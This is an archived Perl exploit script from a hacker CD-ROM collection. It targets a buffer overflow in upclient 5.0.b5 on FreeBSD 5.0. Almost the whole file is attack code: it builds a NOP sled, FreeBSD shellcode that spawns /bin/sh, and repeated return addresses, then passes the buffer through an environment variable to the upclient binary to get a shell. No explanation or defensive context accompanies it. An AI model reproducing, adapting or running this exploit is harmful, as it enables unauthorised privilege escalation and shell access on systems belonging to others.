home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / DSRupclient / DSR-upclient.pl
Encoding:
Perl Script  |  2003-08-21  |  633 b   |  23 lines

  1. #!/usr/bin/perl
  2.  
  3. # Upclient exploit
  4. # Testet on FreeBSD 5.0 - upclient version 5.0.b5 from ports
  5. # Code by inv[at]dtors
  6.  
  7. $ret_tmp = 0xbfbff610;
  8.  
  9. $nops = "\x90"x993;
  10. $shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29bytes
  11.             "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh 
  12.             "\x62\x69\x6e\x2f\x73\x68\x23";                 #zillionATsafemode.org
  13. $ret = pack('l', $ret_tmp);
  14.  
  15. $buffer = "$nops"."$shellcode"."$ret"x2;
  16.  
  17. print "DSR upclient exploit\n";
  18. print ("Address: 0x", sprintf('%lx', $ret_tmp),"\n");
  19.  
  20. local($ENV{'EGG'}) = $buffer;
  21. exec('/usr/local/sbin/upclient -c $EGG');
  22.  
  23.